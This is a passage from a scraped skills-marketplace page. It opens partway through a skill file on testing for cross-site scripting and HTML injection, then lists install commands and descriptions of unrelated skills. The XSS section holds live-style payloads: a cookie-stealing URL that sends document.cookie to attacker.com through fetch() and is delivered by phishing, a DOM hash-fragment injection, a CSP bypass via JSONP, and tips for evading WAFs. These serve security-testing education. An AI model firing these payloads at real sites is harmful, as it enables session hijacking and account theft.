Test**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n```\n\n**Crafted Attack URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=%3Cimg%20src=x%20onerror=%22fetch('https:\u002F\u002Fattacker.com\u002Flog?c='+document.cookie)%22%3E\n```\n\n**Delivery**: URL sent via phishing email to target user.\n\n### Example 3: DOM-Based XSS via Hash Fragment\n\n**Scenario**: JavaScript reads URL hash and inserts into DOM\n\n**Vulnerable Code**:\n```javascript\ndocument.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);\n```\n\n**Attack URL**:\n```\nhttps:\u002F\u002Fapp.example.com\u002Fdashboard#\u003Cimg src=x onerror=alert(document.cookie)>\n```\n\n**Result**: Script executes entirely client-side; payload never touches server.\n\n### Example 4: CSP Bypass via JSONP Endpoint\n\n**Scenario**: Site has CSP but allows trusted CDN\n\n**CSP Header**:\n```\nContent-Security-Policy: script-src 'self' https:\u002F\u002Fcdn.trusted.com\n```\n\n**Bypass**: Find JSONP endpoint on trusted domain:\n```html\n\u003Cscript src=\"https:\u002F\u002Fcdn.trusted.com\u002Fapi\u002Fjsonp?callback=alert\">\u003C\u002Fscript>\n```\n\n**Result**: CSP bypassed using allowed script source.\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |\n| Payload appears but doesn't execute | Break out of attribute context with `\"` or `'`; check if inside comment; test different contexts |\n| Cookies not accessible | Check HttpOnly flag; try localStorage\u002FsessionStorage; use no-cors mode |\n| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |\n| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |\n",{"name":5,"metadata":57,"description":7},{"author":58,"version":59},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fxss-html-injection",3926,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-12 14:45:56",{"source":8,"skillName":5,"commands":71,"prompt":81,"zipAvailable":82},[72,75,78],{"tool":73,"command":74},"npx","npx skills add davila7\u002Fclaude-code-templates --skill \"Cross-Site Scripting and HTML Injection Testing\"",{"tool":76,"command":77},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill \"Cross-Site Scripting and HTML Injection Testing\"",{"tool":79,"command":80},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill \"Cross-Site Scripting and HTML Injection Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fxss-html-injection\u002FSKILL.md",true,[],[85,111,138,171,202,222],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":92,"publishedAt":52},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[91],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[93,94,95,96,97,38,98,99,100,37,101,102,103,104,105,106,107,108,109,110],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":118,"publishedAt":52},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[117],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[119,120,121,122,123,124,125,126,127,128,129,37,130,131,132,133,134,135,136,137],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":153,"publishedAt":52},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[144,147,148],{"categoryNo":145,"categoryName":146,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":149,"categoryName":150,"taxonomyType":151,"taxonomyTypeDesc":152},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[154,155,156,157,158,159,160,38,161,162,163,164,165,166,167,100,168,169,37,170],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":172,"name":173,"nameZh":6,"description":174,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":175,"licenseFileUrl":176,"sourceHtmlUrl":177,"categories":178,"keywords":180,"publishedAt":52},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[179],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[181,48,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,33,200,38,201],"artifacts builder","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","single-file","ui components",{"skillNo":203,"name":204,"nameZh":6,"description":205,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":175,"licenseFileUrl":206,"sourceHtmlUrl":207,"categories":208,"keywords":211,"publishedAt":52},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[209,210],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[212,30,213,214,215,48,44,190,191,216,217,218,219,38,220,102,221],"webapp testing","webapp","browser","playwright","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":223,"name":224,"nameZh":6,"description":225,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":175,"licenseFileUrl":226,"sourceHtmlUrl":227,"categories":228,"keywords":236,"publishedAt":52},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[229,232,233],{"categoryNo":230,"categoryName":231,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":234,"categoryName":235,"taxonomyType":151,"taxonomyTypeDesc":152},"01JBSEEDCAT000000000000036","内容创作者",[237,238,239,240,241,242,243,244,183,245,193,130,47,246,247,248,249,166,250,37,251,252,253,254,255,108,256],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]